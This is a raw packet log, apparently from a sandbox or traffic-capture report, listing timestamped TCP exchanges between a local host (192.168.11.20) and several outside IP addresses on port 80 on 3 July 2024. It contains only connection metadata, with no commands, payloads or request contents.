Jul 3, 2024 17:37:53.388998985 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.389098883 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.389525890 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.389571905 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.389635086 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.389705896 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.389811993 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.389825106 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.389842987 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.389990091 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.390393972 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.390475035 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.390553951 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.390567064 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.390578985 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.390638113 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.390769958 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.391253948 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.391268015 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:53.391407013 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.391407013 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.399492979 CEST	49794	80	192.168.11.20	66.235.200.145
Jul 3, 2024 17:37:53.518069983 CEST	80	49794	66.235.200.145	192.168.11.20
Jul 3, 2024 17:37:58.598694086 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:58.951638937 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:58.951872110 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:58.967653990 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:59.320305109 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.900204897 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.900304079 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.900315046 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.900326967 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.900486946 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:59.908879042 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.908893108 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.909184933 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:59.950911999 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.951092958 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:59.969660044 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.969681025 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.969846964 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:37:59.969871044 CEST	80	49795	103.120.176.124	192.168.11.20
Jul 3, 2024 17:37:59.970005035 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:00.471358061 CEST	49795	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:01.502748966 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:01.864537001 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:01.864685059 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:01.880491972 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:02.247412920 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.954888105 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.954901934 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.954911947 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.954924107 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.955087900 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:02.960083961 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.960196018 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:02.960278988 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:03.000777960 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:03.007447958 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:03.022207022 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:03.022217989 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:03.022368908 CEST	80	49796	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:03.022427082 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:03.022521973 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:03.392554045 CEST	49796	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:04.422039986 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:04.772778988 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:04.772948980 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:04.789894104 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:04.789916992 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:04.789993048 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.140671015 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.140852928 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.141164064 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.141386032 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.141565084 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.491250038 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.491457939 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.491476059 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.491643906 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.491799116 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.491813898 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.491983891 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.491988897 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.492093086 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.492146969 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.492326021 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:05.842888117 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.842979908 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:05.842991114 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.298194885 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.407634020 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.407727957 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.407741070 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.407843113 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.407845974 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.407995939 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.407996893 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.408109903 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.410883904 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.410897970 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.411149979 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.411149979 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.440820932 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.440999031 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.450289965 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.450382948 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.450475931 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.450582027 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.450589895 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.450702906 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:06.450706959 CEST	49797	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:06.652730942 CEST	80	49797	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:07.329433918 CEST	49798	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:07.689198017 CEST	80	49798	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:07.689511061 CEST	49798	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:07.702914000 CEST	49798	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:08.056015015 CEST	80	49798	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:08.600579023 CEST	80	49798	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:08.600594997 CEST	80	49798	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:08.600965023 CEST	49798	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:08.607691050 CEST	49798	80	192.168.11.20	103.120.176.124
Jul 3, 2024 17:38:08.966783047 CEST	80	49798	103.120.176.124	192.168.11.20
Jul 3, 2024 17:38:13.832983971 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.016344070 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.016877890 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.032248974 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.208826065 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226490974 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226507902 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226520061 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226532936 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226572990 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226587057 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226728916 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226742029 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226803064 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.226844072 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226856947 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.226974010 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.227143049 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.408354998 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.408370018 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.408519983 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:14.408525944 CEST	80	49799	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:14.408689022 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:15.546391964 CEST	49799	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.578078985 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.765945911 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.766118050 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.781913042 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.955415964 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.967883110 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.967956066 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968014956 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968070030 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968126059 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968214989 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968216896 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.968277931 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968333006 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968386889 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968388081 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.968388081 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.968442917 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:16.968559980 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:16.968718052 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:17.144581079 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:17.144604921 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:17.144627094 CEST	80	49800	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:17.144797087 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:18.295553923 CEST	49800	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.325069904 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.504719973 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.505256891 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.538357019 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.538407087 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.538464069 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.712805986 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.713001013 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.713049889 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.713098049 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.713247061 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.713257074 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.713468075 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.713526011 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.713577032 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.713633060 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.713802099 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.892627001 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.892637968 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.892647028 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:19.892807007 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.892855883 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.892915964 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:19.893083096 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:20.071377039 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.071394920 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.071407080 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098349094 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098453999 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098535061 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098586082 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098634005 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098679066 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:20.098681927 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098731995 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098830938 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.098916054 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:20.098916054 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:20.098925114 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.099004030 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.099136114 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:20.099278927 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:20.273751020 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.273824930 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.273878098 CEST	80	49801	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:20.274068117 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:21.046070099 CEST	49801	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.074460030 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.249052048 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.249209881 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.262573957 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.437717915 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447380066 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447443962 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447549105 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447562933 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447722912 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.447741032 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447756052 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447869062 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447884083 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.447892904 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.448062897 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.448062897 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.448076010 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.448122025 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.448282003 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.621212959 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.621293068 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.621342897 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:22.621527910 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.621527910 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.633164883 CEST	49802	80	192.168.11.20	203.161.50.127
Jul 3, 2024 17:38:22.806055069 CEST	80	49802	203.161.50.127	192.168.11.20
Jul 3, 2024 17:38:27.807116032 CEST	49803	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:27.926387072 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:27.926491976 CEST	49803	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:27.957123995 CEST	49803	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:28.076431990 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:28.196312904 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:28.196326971 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:28.196336985 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:28.196383953 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:28.196501970 CEST	49803	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:28.197015047 CEST	80	49803	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:28.197195053 CEST	49803	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:29.465008974 CEST	49803	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:30.494564056 CEST	49804	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:30.613733053 CEST	80	49804	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:30.613922119 CEST	49804	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:30.629728079 CEST	49804	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:30.748795033 CEST	80	49804	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:30.869544029 CEST	80	49804	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:30.869559050 CEST	80	49804	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:30.869570017 CEST	80	49804	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:30.869698048 CEST	49804	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:30.869904041 CEST	80	49804	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:30.870021105 CEST	49804	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:32.136482954 CEST	49804	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.166774988 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.285780907 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.286022902 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.302954912 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.303030968 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.422528982 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.422554970 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.422760010 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.422909975 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.423000097 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.423089027 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.423257113 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.541549921 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541639090 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541739941 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541755915 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541802883 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.541842937 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541858912 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541872978 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541888952 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.541974068 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.542007923 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.542113066 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.542124033 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.542232990 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.542249918 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.542263031 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.660713911 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.660773993 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.660876036 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.660903931 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.660939932 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.806667089 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.806680918 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.806690931 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.806848049 CEST	49805	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:33.807472944 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:33.925874949 CEST	80	49805	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:35.837086916 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:35.956403971 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:35.956594944 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:35.975142002 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:36.099627018 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:36.214675903 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:36.214689970 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:36.214701891 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:36.214871883 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:36.215001106 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:36.215001106 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:36.226609945 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:36.540422916 CEST	49806	80	192.168.11.20	172.67.146.224
Jul 3, 2024 17:38:36.662398100 CEST	80	49806	172.67.146.224	192.168.11.20
Jul 3, 2024 17:38:41.400437117 CEST	49807	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:41.580544949 CEST	80	49807	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:41.581178904 CEST	49807	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:41.597037077 CEST	49807	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:41.774126053 CEST	80	49807	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:41.779546022 CEST	80	49807	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:41.779557943 CEST	80	49807	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:41.779784918 CEST	49807	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:43.102719069 CEST	49807	80	192.168.11.20	44.227.65.245
